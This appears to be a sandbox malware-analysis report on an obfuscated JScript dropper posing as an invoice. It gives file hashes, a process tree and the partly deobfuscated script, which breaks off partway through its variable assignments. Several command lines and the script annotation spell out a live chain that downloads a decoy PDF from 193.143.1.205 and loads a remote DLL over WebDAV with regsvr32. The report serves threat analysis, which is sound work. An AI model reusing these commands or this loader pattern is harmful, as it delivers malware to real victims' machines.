Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16756), with CRLF line terminators
Entropy (8bit):	4.894271910368904
TrID:
File name:	5949401323954377.js
File size:	20'230 bytes
MD5:	9bf6f51d9ef37ed8d24fa54962acb218
SHA1:	68007158923bf0c530a55ea28b0c6ec2db7308e1
SHA256:	f8e1365db1b8031d6788aa3b0b9697b63c49f2ef095e42a4b71fc75e5a98fe3a
SHA512:	bfd6bd4664548fc0a77b64720e7a6af7ac49c233f8c29515508099077e9ba100aa6eeebcd11a4890e2728f1116442754b37838db2d003ebf1be1b6c4af14f2ad
SSDEEP:	384:2eqK9mbG3bZ4k4EZ465q5oiYVDhfjWFn9pIl:2eqK9mUbZ7HZ3gihfjWK
TLSH:	D29243D098E584A39DEC87F8B8E1484E05C85B8C9AA406593A47E895770F3F9B3EF171
File Content Preview:	function fqfpy(){dnzzerg=[1031,3079,5127,4103,2055,3072];var cuqeuexwe=this[ibdimm+lbmsfx+spqojpyzi+azqrauh+igotebvwn+jphtjzoep+gjxqd+wdghozl](this[fsbso+leiwlfc+ebzkbz+spqojpyzi+ixsainr+ibdimm+wdghozl][sqqmkjxg+spqojpyzi+igotebvwn+lbmsfx+wdghozl+igotebvw

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	1
Start time:	19:56:18
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5949401323954377.js"
Imagebase:	0x7ff6d7950000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:56:18
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll
Imagebase:	0x7ff6c6050000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:56:18
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:56:18
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:56:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	19:56:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c6050000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	19:56:23
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff71e360000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:56:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	19:56:24
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	19:56:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2192 --field-trial-handle=1576,i,11404387406166749889,7821596643881052678,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fqfpy() {	fqfpy() ➔ undefined
1	dnzzerg = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var cuqeuexwe = this[ibdimm + lbmsfx + spqojpyzi + azqrauh + igotebvwn + jphtjzoep + gjxqd + wdghozl] ( this[fsbso + leiwlfc + ebzkbz + spqojpyzi + ixsainr + ibdimm + wdghozl][sqqmkjxg + spqojpyzi + igotebvwn + lbmsfx + wdghozl + igotebvwn + lxqjypeh + kctlel + frwkg + igotebvwn + ebzkbz + wdghozl] ( fsbso + leiwlfc + ebzkbz + spqojpyzi + ixsainr + ibdimm + wdghozl + pspoyhw + leiwlfc + mozwf + igotebvwn + tottdog + tottdog ) [jxxmvxo + igotebvwn + imjvpaw + jxxmvxo + igotebvwn + lbmsfx + pmqzgge] ( hheoay + pvyligvqd + kfxilw + iqpqifkl + kqejixp + sqqmkjxg + kvrleylu + jxxmvxo + jxxmvxo + kfxilw + wsoxrzg + negrkc + kqejixp + kvrleylu + leiwlfc + kfxilw + jxxmvxo + pissh + sqqmkjxg + wyetomq + gjxqd + wdghozl + spqojpyzi + wyetomq + tottdog + fdgugpk + geqpifl + lbmsfx + gjxqd + igotebvwn + tottdog + pissh + jphtjzoep + gjxqd + wdghozl + igotebvwn + spqojpyzi + gjxqd + lbmsfx + wdghozl + ixsainr + wyetomq + gjxqd + lbmsfx + tottdog + pissh + escecbxz + wyetomq + ebzkbz + lbmsfx + tottdog + igotebvwn ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jyglr = 0 ; jyglr < dnzzerg[tottdog + igotebvwn + gjxqd + imjvpaw + wdghozl + mozwf] ; ++ jyglr )
4	{
5	if ( cuqeuexwe == dnzzerg[jyglr] )
6	{
7	cuqeuexwe = true;
8	break ;
9	}
10	}
11	if ( cuqeuexwe !== true )
12	this[fsbso + leiwlfc + ebzkbz + spqojpyzi + ixsainr + ibdimm + wdghozl][oplhyu + aqnzrccvq + ixsainr + wdghozl] ( );
13	this[fsbso + leiwlfc + ebzkbz + spqojpyzi + ixsainr + ibdimm + wdghozl][sqqmkjxg + spqojpyzi + igotebvwn + lbmsfx + wdghozl + igotebvwn + lxqjypeh + kctlel + frwkg + igotebvwn + ebzkbz + wdghozl] ( fsbso + leiwlfc + ebzkbz + spqojpyzi + ixsainr + ibdimm + wdghozl + pspoyhw + leiwlfc + mozwf + igotebvwn + tottdog + tottdog ) [spqojpyzi + aqnzrccvq + gjxqd] ( ebzkbz + mlyikpua + pmqzgge + fdgugpk + uvwgxnsmq + ebzkbz + fdgugpk + ibdimm + wyetomq + ohxkjeqmj + igotebvwn + spqojpyzi + azqrauh + mozwf + igotebvwn + tottdog + tottdog + pspoyhw + igotebvwn + donuulok + igotebvwn + fdgugpk + kuyqi + sqqmkjxg + wyetomq + mlyikpua + mlyikpua + lbmsfx + gjxqd + pmqzgge + fdgugpk + cdcyswh + jphtjzoep + gjxqd + zbsyr + wyetomq + pfungd + igotebvwn + kuyqi + fsbso + igotebvwn + kctlel + jxxmvxo + igotebvwn + equfon + aqnzrccvq + igotebvwn + azqrauh + wdghozl + fdgugpk + kuyqi + lxqjypeh + aqnzrccvq + wdghozl + aqrnvlp + ixsainr + tottdog + igotebvwn + fdgugpk + mptgi + wdghozl + igotebvwn + mlyikpua + ibdimm + mptgi + pissh + ixsainr + gjxqd + zbsyr + wyetomq + ixsainr + ebzkbz + igotebvwn + pspoyhw + ibdimm + pmqzgge + fichpp + fdgugpk + mozwf + wdghozl + wdghozl + ibdimm + fsyhhdwdt + uvwgxnsmq + uvwgxnsmq + clujdbw + fouhdilsf + jrsez + pspoyhw + clujdbw + zeiwnk + jrsez + pspoyhw + clujdbw + pspoyhw + lxdlfyvo + faawpnp + cicgmvp + uvwgxnsmq + ixsainr + gjxqd + zbsyr + wyetomq + ixsainr + ebzkbz + igotebvwn + pspoyhw + ibdimm + mozwf + ibdimm + cdcyswh + nggkrqkci + nggkrqkci + azqrauh + wdghozl + lbmsfx + spqojpyzi + wdghozl + fdgugpk + mptgi + wdghozl + igotebvwn + mlyikpua + ibdimm + mptgi + pissh + ixsainr + gjxqd + zbsyr + wyetomq + ixsainr + ebzkbz + igotebvwn + pspoyhw + ibdimm + pmqzgge + fichpp + nggkrqkci + nggkrqkci + ebzkbz + mlyikpua + pmqzgge + fdgugpk + uvwgxnsmq + ebzkbz + fdgugpk + gjxqd + igotebvwn + wdghozl + fdgugpk + aqnzrccvq + azqrauh + igotebvwn + fdgugpk + pissh + pissh + clujdbw + fouhdilsf + jrsez + pspoyhw + clujdbw + zeiwnk + jrsez + pspoyhw + clujdbw + pspoyhw + lxdlfyvo + faawpnp + cicgmvp + alzgl + mokaq + mokaq + mokaq + mokaq + pissh + pmqzgge + lbmsfx + zbsyr + ohxkjeqmj + ohxkjeqmj + ohxkjeqmj + spqojpyzi + wyetomq + wyetomq + wdghozl + pissh + nggkrqkci + nggkrqkci + ebzkbz + mlyikpua + pmqzgge + fdgugpk + uvwgxnsmq + ebzkbz + fdgugpk + spqojpyzi + igotebvwn + imjvpaw + azqrauh + zbsyr + spqojpyzi + jrsez + lxdlfyvo + fdgugpk + uvwgxnsmq + azqrauh + fdgugpk + pissh + pissh + clujdbw + fouhdilsf + jrsez + pspoyhw + clujdbw + zeiwnk + jrsez + pspoyhw + clujdbw + pspoyhw + lxdlfyvo + faawpnp + cicgmvp + alzgl + mokaq + mokaq + mokaq + mokaq + pissh + pmqzgge + lbmsfx + zbsyr + ohxkjeqmj + ohxkjeqmj + ohxkjeqmj + spqojpyzi + wyetomq + wyetomq + wdghozl + pissh + cicgmvp + jrsez + zeiwnk + clujdbw + lxdlfyvo + zeiwnk + faawpnp + zbppvrcg + zeiwnk + clujdbw + fouhdilsf + jrsez + jrsez + lxdlfyvo + pspoyhw + pmqzgge + tottdog + tottdog, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll",0,false) ➔ 0
14	}
15	jxxmvxo = "R";
16	leiwlfc = "P";
17	leiwlfc = "L";
18	leiwlfc = "d";
19	leiwlfc = "k";
20	leiwlfc = "H";
21	leiwlfc = "z";
22	leiwlfc = "W";
23	leiwlfc = "c";
24	leiwlfc = "V";
25	leiwlfc = "j";
26	leiwlfc = "Z";
27	leiwlfc = "x";
28	leiwlfc = "d";
29	leiwlfc = "q";
30	leiwlfc = "z";
31	leiwlfc = "y";
32	leiwlfc = "S";
33	jrsez = "v";
34	jrsez = "t";
35	jrsez = "Z";
36	jrsez = "i";
37	jrsez = "f";
38	jrsez = "U";
39	jrsez = "E";
40	jrsez = "l";
41	jrsez = "U";
42	jrsez = "j";
43	jrsez = "X";
44	jrsez = "M";
45	jrsez = "x";
46	jrsez = "l";
47	jrsez = "N";
48	jrsez = "O";
49	jrsez = "s";
50	jrsez = "k";
51	jrsez = "y";
52	jrsez = "3";
53	azqrauh = "s";
54	azqrauh = "s";
55	faawpnp = "K";
56	faawpnp = "H";
57	faawpnp = "x";
58	faawpnp = "e";
59	faawpnp = "q";
60	faawpnp = "k";
61	faawpnp = "D";
62	faawpnp = "E";
63	faawpnp = "U";
64	faawpnp = "A";
65	faawpnp = "G";
66	faawpnp = "A";
67	faawpnp = "F";
68	faawpnp = "t";
69	faawpnp = "p";
70	faawpnp = "q";
71	faawpnp = "y";
72	faawpnp = "w";
73	faawpnp = "i";
74	faawpnp = "y";
75	faawpnp = "c";
76	faawpnp = "P";
77	faawpnp = "U";
78	faawpnp = "s";
79	faawpnp = "l";
80	faawpnp = "n";
81	faawpnp = "Z";
82	faawpnp = "P";
83	faawpnp = "a";
84	faawpnp = "c";
85	faawpnp = "G";
86	faawpnp = "g";
87	faawpnp = "n";
88	faawpnp = "y";
89	faawpnp = "h";
90	faawpnp = "a";
91	faawpnp = "j";
92	faawpnp = "D";
93	faawpnp = "V";
94	faawpnp = "J";
95	faawpnp = "N";
96	faawpnp = "0";
97	clujdbw = "E";
98	clujdbw = "G";
99	clujdbw = "H";
100	clujdbw = "t";
101	clujdbw = "t";
102	clujdbw = "K";
103	clujdbw = "f";
104	clujdbw = "O";
105	clujdbw = "D";
106	clujdbw = "Y";
107	clujdbw = "x";
108	clujdbw = "B";
109	clujdbw = "1";
110	kfxilw = "A";
111	kfxilw = "Y";
112	kfxilw = "s";
113	kfxilw = "R";
114	kfxilw = "R";
115	kfxilw = "j";
116	kfxilw = "R";
117	kfxilw = "e";
118	kfxilw = "U";
119	kfxilw = "c";
120	kfxilw = "V";
121	kfxilw = "Q";
122	kfxilw = "q";
123	kfxilw = "i";
124	kfxilw = "V";
125	kfxilw = "Q";
126	kfxilw = "d";
127	kfxilw = "S";
128	kfxilw = "v";
129	kfxilw = "r";
130	kfxilw = "h";
131	kfxilw = "E";
132	kfxilw = "I";
133	kfxilw = "g";
134	kfxilw = "l";
135	kfxilw = "m";
136	kfxilw = "s";
137	kfxilw = "c";
138	kfxilw = "h";
139	kfxilw = "g";
140	kfxilw = "h";
141	kfxilw = "c";
142	kfxilw = "B";
143	kfxilw = "h";
144	kfxilw = "s";
145	kfxilw = "N";
146	kfxilw = "E";
147	ibdimm = "v";
148	ibdimm = "N";
149	ibdimm = "x";
150	ibdimm = "m";
151	ibdimm = "m";
152	ibdimm = "h";
153	ibdimm = "c";
154	ibdimm = "g";
155	ibdimm = "B";
156	ibdimm = "H";
157	ibdimm = "n";
158	ibdimm = "q";
159	ibdimm = "H";
160	ibdimm = "u";
161	ibdimm = "R";
162	ibdimm = "M";
163	ibdimm = "H";
164	ibdimm = "D";
165	ibdimm = "u";
166	ibdimm = "x";
167	ibdimm = "I";
168	ibdimm = "y";
169	ibdimm = "p";
170	ibdimm = "j";
171	ibdimm = "j";
172	ibdimm = "Y";
173	ibdimm = "Y";
174	ibdimm = "Q";
175	ibdimm = "O";
176	ibdimm = "A";
177	ibdimm = "G";
178	ibdimm = "b";
179	ibdimm = "n";
180	ibdimm = "F";
181	ibdimm = "R";
182	ibdimm = "D";
183	ibdimm = "o";
184	ibdimm = "D";
185	ibdimm = "h";
186	ibdimm = "o";
187	ibdimm = "v";
188	ibdimm = "p";
189	imjvpaw = "N";
190	imjvpaw = "R";
191	imjvpaw = "E";
192	imjvpaw = "j";
193	imjvpaw = "z";
194	imjvpaw = "A";
195	imjvpaw = "R";
196	imjvpaw = "f";
197	imjvpaw = "v";
198	imjvpaw = "I";
199	imjvpaw = "M";
200	imjvpaw = "l";
201	imjvpaw = "d";
202	imjvpaw = "B";
203	imjvpaw = "c";
204	imjvpaw = "t";
205	imjvpaw = "G";
206	imjvpaw = "w";
207	imjvpaw = "m";
208	imjvpaw = "C";
209	imjvpaw = "Z";
210	imjvpaw = "u";
211	imjvpaw = "U";
212	imjvpaw = "o";
213	imjvpaw = "g";
214	negrkc = "V";
215	negrkc = "Q";
216	negrkc = "d";
217	negrkc = "A";
218	negrkc = "H";
219	negrkc = "Q";
220	negrkc = "U";
221	negrkc = "T";
222	jphtjzoep = "w";
223	jphtjzoep = "Z";
224	jphtjzoep = "q";
225	jphtjzoep = "r";
226	jphtjzoep = "I";
227	zbppvrcg = "k";
228	zbppvrcg = "v";
229	zbppvrcg = "V";
230	zbppvrcg = "q";
231	zbppvrcg = "w";
232	zbppvrcg = "z";
233	zbppvrcg = "z";
234	zbppvrcg = "d";
235	zbppvrcg = "c";
236	zbppvrcg = "D";
237	zbppvrcg = "K";
238	zbppvrcg = "d";
239	zbppvrcg = "w";
240	zbppvrcg = "R";
241	zbppvrcg = "d";
242	zbppvrcg = "j";
243	zbppvrcg = "G";
244	zbppvrcg = "C";
245	zbppvrcg = "J";
246	zbppvrcg = "D";
247	zbppvrcg = "f";
248	zbppvrcg = "z";
249	zbppvrcg = "Z";
250	zbppvrcg = "E";
251	zbppvrcg = "Z";
252	zbppvrcg = "t";
253	zbppvrcg = "C";
254	zbppvrcg = "p";
255	zbppvrcg = "v";
256	zbppvrcg = "U";
257	zbppvrcg = "y";
258	zbppvrcg = "v";
259	zbppvrcg = "j";
260	zbppvrcg = "a";
261	zbppvrcg = "D";
262	zbppvrcg = "o";
263	zbppvrcg = "B";
264	zbppvrcg = "w";
265	zbppvrcg = "r";
266	zbppvrcg = "j";
267	zbppvrcg = "p";
268	zbppvrcg = "H";
269	zbppvrcg = "e";
270	zbppvrcg = "k";
271	zbppvrcg = "7";
272	oplhyu = "r";
273	oplhyu = "b";
274	oplhyu = "E";
275	oplhyu = "d";
276	oplhyu = "j";
277	oplhyu = "r";
278	oplhyu = "Y";
279	oplhyu = "x";
280	oplhyu = "P";
281	oplhyu = "Q";
282	kuyqi = "g";
283	kuyqi = "N";
284	kuyqi = "q";
285	kuyqi = "i";
286	kuyqi = "J";
287	kuyqi = "c";
288	kuyqi = "D";
289	kuyqi = "D";
290	kuyqi = "N";
291	kuyqi = "S";
292	kuyqi = "f";
293	kuyqi = "P";
294	kuyqi = "p";
295	kuyqi = "R";
296	kuyqi = "d";
297	kuyqi = "G";
298	kuyqi = "w";
299	kuyqi = "c";
300	kuyqi = "V";
301	kuyqi = "B";
302	kuyqi = "-";
303	zbsyr = "J";
304	zbsyr = "l";
305	zbsyr = "I";
306	zbsyr = "K";
307	zbsyr = "i";
308	zbsyr = "j";
309	zbsyr = "v";
310	zbsyr = "E";
311	zbsyr = "R";
312	zbsyr = "T";
313	zbsyr = "S";
314	zbsyr = "D";
315	zbsyr = "y";
316	zbsyr = "d";
317	zbsyr = "g";
318	zbsyr = "V";
319	zbsyr = "Z";
320	zbsyr = "Y";
321	zbsyr = "U";
322	zbsyr = "v";
323	aqrnvlp = "p";
324	aqrnvlp = "E";
325	aqrnvlp = "T";
326	aqrnvlp = "J";
327	aqrnvlp = "h";
328	aqrnvlp = "P";
329	aqrnvlp = "s";
330	aqrnvlp = "F";
331	aqrnvlp = "y";
332	aqrnvlp = "h";
333	aqrnvlp = "l";
334	aqrnvlp = "F";
335	fsbso = "w";
336	fsbso = "o";
337	fsbso = "o";
338	fsbso = "i";
339	fsbso = "K";
340	fsbso = "M";
341	fsbso = "j";
342	fsbso = "L";
343	fsbso = "t";
344	fsbso = "e";
345	fsbso = "p";
346	fsbso = "e";
347	fsbso = "W";
348	fsbso = "m";
349	fsbso = "A";
350	fsbso = "S";
351	fsbso = "x";
352	fsbso = "v";
353	fsbso = "W";
354	fsbso = "t";
355	fsbso = "A";
356	fsbso = "W";
357	iqpqifkl = "d";
358	iqpqifkl = "L";
359	iqpqifkl = "K";
360	iqpqifkl = "f";
361	iqpqifkl = "M";
362	iqpqifkl = "K";
363	iqpqifkl = "X";
364	iqpqifkl = "Z";
365	iqpqifkl = "S";
366	iqpqifkl = "o";
367	iqpqifkl = "I";
368	iqpqifkl = "E";
369	iqpqifkl = "G";
370	iqpqifkl = "N";
371	iqpqifkl = "D";
372	iqpqifkl = "Y";
373	aqnzrccvq = "R";
374	aqnzrccvq = "G";
375	aqnzrccvq = "B";
376	aqnzrccvq = "G";
377	aqnzrccvq = "Q";
378	aqnzrccvq = "u";
379	aqnzrccvq = "y";
380	aqnzrccvq = "I";
381	aqnzrccvq = "J";
382	aqnzrccvq = "n";
383	aqnzrccvq = "e";
384	aqnzrccvq = "m";
385	aqnzrccvq = "b";
386	aqnzrccvq = "E";
387	aqnzrccvq = "j";
388	aqnzrccvq = "D";
389	aqnzrccvq = "r";
390	aqnzrccvq = "H";
391	aqnzrccvq = "H";
392	aqnzrccvq = "E";
393	aqnzrccvq = "W";
394	aqnzrccvq = "U";
395	aqnzrccvq = "a";
396	aqnzrccvq = "R";
397	aqnzrccvq = "E";
398	aqnzrccvq = "e";
399	aqnzrccvq = "n";
400	aqnzrccvq = "z";
401	aqnzrccvq = "A";
402	aqnzrccvq = "p";
403	aqnzrccvq = "q";
404	aqnzrccvq = "K";
405	aqnzrccvq = "r";
406	aqnzrccvq = "Z";
407	aqnzrccvq = "D";
408	aqnzrccvq = "i";
409	aqnzrccvq = "Y";
410	aqnzrccvq = "u";
411	aqnzrccvq = "A";
412	aqnzrccvq = "j";
413	aqnzrccvq = "i";
414	aqnzrccvq = "S";
415	aqnzrccvq = "b";
416	aqnzrccvq = "w";
417	aqnzrccvq = "u";
418	fdgugpk = "s";
419	fdgugpk = "v";
420	fdgugpk = "m";
421	fdgugpk = "y";
422	fdgugpk = "Y";
423	fdgugpk = "V";
424	fdgugpk = "y";
425	fdgugpk = "E";
426	fdgugpk = "h";
427	fdgugpk = "T";
428	fdgugpk = "c";
429	fdgugpk = "p";
430	fdgugpk = "k";
431	fdgugpk = "s";
432	fdgugpk = "A";
433	fdgugpk = "l";
434	fdgugpk = "W";
435	fdgugpk = "G";
436	fdgugpk = "V";
437	fdgugpk = "a";
438	fdgugpk = "E";
439	fdgugpk = "A";
440	fdgugpk = "h";
441	fdgugpk = " ";
442	fichpp = "o";
443	fichpp = "t";
444	fichpp = "P";
445	fichpp = "v";
446	fichpp = "d";
447	fichpp = "a";
448	fichpp = "c";
449	fichpp = "z";
450	fichpp = "z";
451	fichpp = "M";
452	fichpp = "G";
453	fichpp = "g";
454	fichpp = "e";
455	fichpp = "x";
456	fichpp = "Y";
457	fichpp = "q";
458	fichpp = "f";
459	fichpp = "k";
460	fichpp = "f";
461	pvyligvqd = "F";
462	pvyligvqd = "s";
463	pvyligvqd = "z";
464	pvyligvqd = "Q";
465	pvyligvqd = "i";
466	pvyligvqd = "J";
467	pvyligvqd = "U";
468	pvyligvqd = "o";
469	pvyligvqd = "F";
470	pvyligvqd = "a";
471	pvyligvqd = "H";
472	pvyligvqd = "w";
473	pvyligvqd = "F";
474	pvyligvqd = "r";
475	pvyligvqd = "m";
476	pvyligvqd = "I";
477	pvyligvqd = "P";
478	pvyligvqd = "G";
479	pvyligvqd = "b";
480	pvyligvqd = "s";
481	pvyligvqd = "n";
482	pvyligvqd = "e";
483	pvyligvqd = "Y";
484	pvyligvqd = "s";
485	pvyligvqd = "A";
486	pvyligvqd = "r";
487	pvyligvqd = "V";
488	pvyligvqd = "n";
489	pvyligvqd = "r";
490	pvyligvqd = "q";
491	pvyligvqd = "y";
492	pvyligvqd = "d";
493	pvyligvqd = "k";
494	pvyligvqd = "H";
495	pvyligvqd = "g";
496	pvyligvqd = "A";
497	pvyligvqd = "h";
498	pvyligvqd = "M";
499	pvyligvqd = "c";
500	pvyligvqd = "e";
501	pvyligvqd = "K";
502	frwkg = "k";
503	frwkg = "l";
504	frwkg = "g";
505	frwkg = "K";
506	frwkg = "j";
507	nggkrqkci = "D";
508	nggkrqkci = "v";
509	nggkrqkci = "d";
510	nggkrqkci = "P";
